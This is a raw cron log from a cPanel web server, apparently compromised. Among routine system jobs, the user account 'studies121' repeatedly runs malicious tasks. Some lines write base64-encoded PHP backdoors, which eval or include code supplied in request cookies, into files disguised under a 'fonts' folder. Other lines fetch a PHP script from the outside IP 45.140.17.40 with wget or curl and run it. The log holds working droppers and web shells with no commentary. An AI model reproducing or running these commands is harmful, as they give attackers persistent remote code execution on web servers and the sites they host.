Sep  6 05:47:01 ip-184-168-122-23 CROND[22473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:48:01 ip-184-168-122-23 CROND[22564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:48:01 ip-184-168-122-23 CROND[22566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:48:01 ip-184-168-122-23 CROND[22569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:48:01 ip-184-168-122-23 CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:48:01 ip-184-168-122-23 CROND[22567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:49:01 ip-184-168-122-23 CROND[22675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:49:01 ip-184-168-122-23 CROND[22677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:49:01 ip-184-168-122-23 CROND[22678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:49:01 ip-184-168-122-23 CROND[22680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:50:01 ip-184-168-122-23 CROND[22872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:50:01 ip-184-168-122-23 CROND[22880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:50:01 ip-184-168-122-23 CROND[22882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:51:01 ip-184-168-122-23 CROND[22984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:51:01 ip-184-168-122-23 CROND[22986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:51:01 ip-184-168-122-23 CROND[22987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:51:01 ip-184-168-122-23 CROND[22989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:52:01 ip-184-168-122-23 CROND[23084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:52:01 ip-184-168-122-23 CROND[23086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:52:01 ip-184-168-122-23 CROND[23088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:52:01 ip-184-168-122-23 CROND[23089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:52:01 ip-184-168-122-23 CROND[23087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:53:02 ip-184-168-122-23 CROND[23190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:53:02 ip-184-168-122-23 CROND[23191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:53:02 ip-184-168-122-23 CROND[23192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:53:02 ip-184-168-122-23 CROND[23193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:54:01 ip-184-168-122-23 CROND[23288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:54:01 ip-184-168-122-23 CROND[23291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:54:01 ip-184-168-122-23 CROND[23292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:54:01 ip-184-168-122-23 CROND[23293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:54:01 ip-184-168-122-23 CROND[23290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:55:01 ip-184-168-122-23 CROND[23462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:55:01 ip-184-168-122-23 CROND[23464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:55:01 ip-184-168-122-23 CROND[23467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:55:01 ip-184-168-122-23 CROND[23465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:55:01 ip-184-168-122-23 CROND[23466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:55:01 ip-184-168-122-23 CROND[23468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:56:01 ip-184-168-122-23 CROND[23628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:56:01 ip-184-168-122-23 CROND[23630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:56:01 ip-184-168-122-23 CROND[23629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:56:01 ip-184-168-122-23 CROND[23631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:56:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:57:01 ip-184-168-122-23 CROND[24115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:57:01 ip-184-168-122-23 CROND[24116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:57:01 ip-184-168-122-23 CROND[24118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:57:01 ip-184-168-122-23 CROND[24119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:58:01 ip-184-168-122-23 CROND[24200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:58:01 ip-184-168-122-23 CROND[24202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:58:01 ip-184-168-122-23 CROND[24203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:58:01 ip-184-168-122-23 CROND[24205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:58:01 ip-184-168-122-23 CROND[24204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:59:01 ip-184-168-122-23 CROND[24297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:59:01 ip-184-168-122-23 CROND[24299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:59:01 ip-184-168-122-23 CROND[24300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:59:01 ip-184-168-122-23 CROND[24301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
